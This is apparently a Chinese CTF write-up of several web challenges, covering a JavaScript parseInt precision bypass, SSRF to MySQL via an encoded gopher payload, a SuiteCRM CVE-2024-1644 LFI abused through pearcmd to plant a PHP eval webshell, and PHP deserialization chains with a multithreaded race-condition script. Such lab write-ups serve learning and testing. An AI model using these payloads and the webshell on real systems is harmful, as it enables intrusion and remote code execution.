前言
打这个的时候正好是长城杯复赛,就没打,现在看看。
cool_index
view
里面是ejs
模板,static
里面是使用的路径等信息:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| function requestArticle() { const articleNum = document.getElementById("articleNum").value; const statusMessage = document.getElementById("statusMessage"); const articlesDiv = document.getElementById("articles");
fetch("/article", { method: 'POST', credentials: "same-origin", headers: { "Content-Type": "application/json", }, body: JSON.stringify({ index: articleNum }), }) .then((response) => { if (!response.ok) { return response.json().then((err) => { throw err; }); } return response.json(); }) .then((article) => { if (articlesDiv && statusMessage) { articlesDiv.innerHTML = `<p>${article.line1}</p><p>${article.line2}</p>`; statusMessage.textContent = "加载成功"; } }) .catch((error) => { if (statusMessage) { statusMessage.textContent = "加载失败";
articlesDiv.innerHTML = error.message || "未知错误"; } console.error("Error:", error); }); }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| function toggleVoucher() { const voucherGroup = document.getElementById("voucherGroup"); voucherGroup.style.display = document.getElementById("hasVoucher").checked ? "block" : "none"; }
document.getElementById("registrationForm").onsubmit = function (event) { event.preventDefault(); const username = document.getElementById("username").value; const voucher = document.getElementById("hasVoucher").checked ? document.getElementById("voucher").value : "";
fetch("/register", { method: "POST", headers: { "Content-Type": "application/json", }, body: JSON.stringify({ username, voucher }), }) .then((response) => response.json()) .then((data) => { if (data.message === "邀请码无效") { document.getElementById("feedback").textContent = data.message; } else { document.cookie = `token=${data.token};path=/`; window.location.href = "/"; } }) .catch((error) => { console.error("Error:", error); }); };
|
注册普通用户之后可以浏览1-7页,第七页需要会员,这里可能需要我们得到第七页的权限。
当然从server.js
也能注意到:
jwt
那个密钥是随机的,所以没法通过jwt实现了。
问题在parseInt
这里,这里检测放在了转换的前面。
parseInt
会将参数转为整形,但是如果是NodeJs
中的big int
,就会造成精度损失。
parseInt - JavaScript | MDN
因此我们可以得到flag:
EasySignin
SSRF攻击MySQL
admin账户已存在
随便注册一个test账号进去。
注意到更改密码,尝试能否越权修改admin:
登录admin之后发现getpicture
下可以传参url
,想到ssrf
测试下常见的协议:
file、dict
等被ban了,http、gopher
还在。
先测试下端口。
发现3306有开。
SSRF
之前我对ssrf
的了解有点太浅了,都是用的工具,所以这里顺便再学习一下。
构造攻击数据包
首先先在一个窗口下用
1
| tcpdump -i lo port 3306 -w mysql.pcapng
|
抓取数据包,然后再在另一个窗口开启MySQL终端,进行查询:
拿到流量包之后追踪tcp流。提取为原始数据
首先看看能不能直接用loadfile
读文件。
然后将其编码即可:
1 2 3 4 5 6 7 8
| def result(s): a=[s[i:i+2] for i in xrange(0,len(s),2)] return "curl gopher://127.0.0.1:3306/_%" + "%".join(a)
if __name__ == '__main__': import sys s=sys.argv[1] print(result(s))
|
可以使用curl来测试结果(gopher协议)
这里我直接使用gopherus
工具打:
GitHub - tarunkant/Gopherus: This tool generates gopher link for exploiting SSRF and gaining RCE in various servers
1
| python2 gopherus.py --exploit mysql
|
pyload:select load_file('/flag')
然后再次只编码特殊字符:
1
| gopher%3A%2F%2F127.0.0.1%3A3306%2F_%25a3%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%251a%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%256c%256f%2561%2564%255f%2566%2569%256c%2565%2528%2527%252f%2566%256c%2561%2567%2527%2529%2501%2500%2500%2500%2501
|
测试发送即可:
SuiteCRM
Suite CRM v7.14.2 - RCE via LFI | Advisories | Fluid Attacks
CVE-2024-1644
使用81端口进行访问,80端口的转发有问题。
LFI
肯定会想到pearcmd
:
写马:
1
| /index.php//usr/local/lib/php/pearcmd.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=@eval($_POST['cmd']);?>+/tmp/shell.php
|
然后上马:
如果后面有时间再分析吧。
web1234
【Web】DASCTF X GFCTF 2024|四月开启第一局 题解(全)_dasctf 2024 四月 wp-CSDN博客
www.zip
泄露
反序列化
先看看默认信息,这里class.php
中的resetconf
方法
把密码看看:
看了别人的wp发现可以条件竞争,但似乎buu的平台似乎不支持。
条件竞争
往record.php里面写马:
这里如果record.php
的长度如果不是零,那么就可以往里面写马。
链子:
1
| Admin#__Destruct -> Config.showconf() -> Log#__toString
|
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| <?php
class Admin { public $Config; }
class Config { public $uname; public $passwd; public $avatar; public $nickname; public $sex; public $mail; public $telnum; }
class Log {
public $data; }
$a = new Admin(); $b = new Config(); $c = new Log(); $a->Config = $b; $b->show = $c; $c->data = 'log_start()'; echo serialize($a);
|
删除最后一个括号绕过__wakeup
,编写条件竞争
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| import requests import threading
url1 = 'http://f54fa87e-403e-4156-8fce-9e2e1af28378.node5.buuoj.cn:81/?uname=admin&passwd=1q2w3e'
def upload(): while True: filename = "Config" with open('config', "rb") as f: files = {"avatar": (filename, f.read())} data = { "m": "edit", "nickname": "<?php phpinfo();?>", "sex": "1", "mail": "1", "telnum": "1",
} response = requests.post(url=url1, files=files,data=data) print(response.status_code)
url2 = 'http://f54fa87e-403e-4156-8fce-9e2e1af28378.node5.buuoj.cn:81' url3 = 'http://f54fa87e-403e-4156-8fce-9e2e1af28378.node5.buuoj.cn:81/record.php'
def read(): while True: res2 = requests.get(url2) print(res2.status_code) res3 = requests.get(url3) if "php" in res3.text: print('success')
upload_threads = [threading.Thread(target=upload) for _ in range(30)]
read_threads = [threading.Thread(target=read) for _ in range(30)]
for t in upload_threads: t.start()
for t in read_threads: t.start()
|
session反序列化
这里提示里面写了session_start
但是这源码里也妹有啊。
先backdoor
执行session_start
session文件里面存放着用户的序列化文本,触发点不在反序列化而是__sleep
函数
1
| Config#__sleep -> Config.showconf() -> Log#__toString
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| <?php class Admin{ public $Config; } class Config{ public $uname; public $passwd; public $avatar; public $nickname; public $sex; public $mail; public $telnum; } class Log{ public $data; } $exp=new Config(); $sink=new Log(); $sink->data="log_start()"; $exp->avatar=$sink; echo serialize($exp);
|
先生成session:
session是这个,然后刷新sess,注意这里要用传的session:
再传马:
在文件名处写马,删去Cookie
,再执行
后记
我要吐血了,最后这个打半天没打通,复现都得半天。